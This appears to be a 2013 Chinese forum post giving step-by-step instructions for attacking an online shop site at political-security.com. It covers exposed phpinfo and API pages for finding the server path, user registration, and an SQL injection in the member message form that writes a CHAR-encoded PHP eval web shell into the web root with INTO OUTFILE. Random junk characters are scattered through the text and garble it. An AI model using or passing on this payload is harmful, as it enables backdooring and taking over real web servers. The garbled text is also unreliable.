第一个：想办法找到目标网站的绝对路径
5 { A7 J Z, u3 w7 U" c3 o. ^8 W8 L/ A! `; O6 [" M$ M
http://www.political-security.com/install/svinfo.php?phpinfo=true8 H6 A; a/ g/ L/ V8 L I! A2 Q
/ w: _& W4 o4 H+ q6 dhttp:/www.political-security.com/core/api/shop_api.php, @! H# B6 t* f. h2 r1 P+ _1 c# O: z
. ]& Q# \# G8 z
http://www.political-security.co ... api_b2b_2_0_cat.php3 ~2 l2 u0 A, j5 U5 M% E2 h
- [) S% r1 I) M4 F
http://www.political-security.com/core/ap ... b_2_0_goodstype.php' x# R: p$ \7 ^
5 d2 N) G0 x5 S$ X9 Y8 [, ?
http://www.political-security.co ... i_b2b_2_0_brand.php2 g# k0 S; l- h1 I v& J
第二个：注册一个普通用户/ J6 J3 b: B( I/ S0 Z- t U1 k
& D( K, |) ] G9 r- k3 m# Z
http://www.political-security.com/?passport-signup.html4 c E d0 o! K% @: i( }' e# A- ]
1 Q+ l: R& y" b; l: E3 w
第三个： 发送消息
& D/ J/ }; ^) W0 B8 W
1 \0 S9 b; i6 l# ahttp://www.political-security.com/?member-send.html
) Q% s5 {& K: v+ w ?9 I" `; ]发送给中填写
5 O. k; X$ u. _0 I+ Wantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对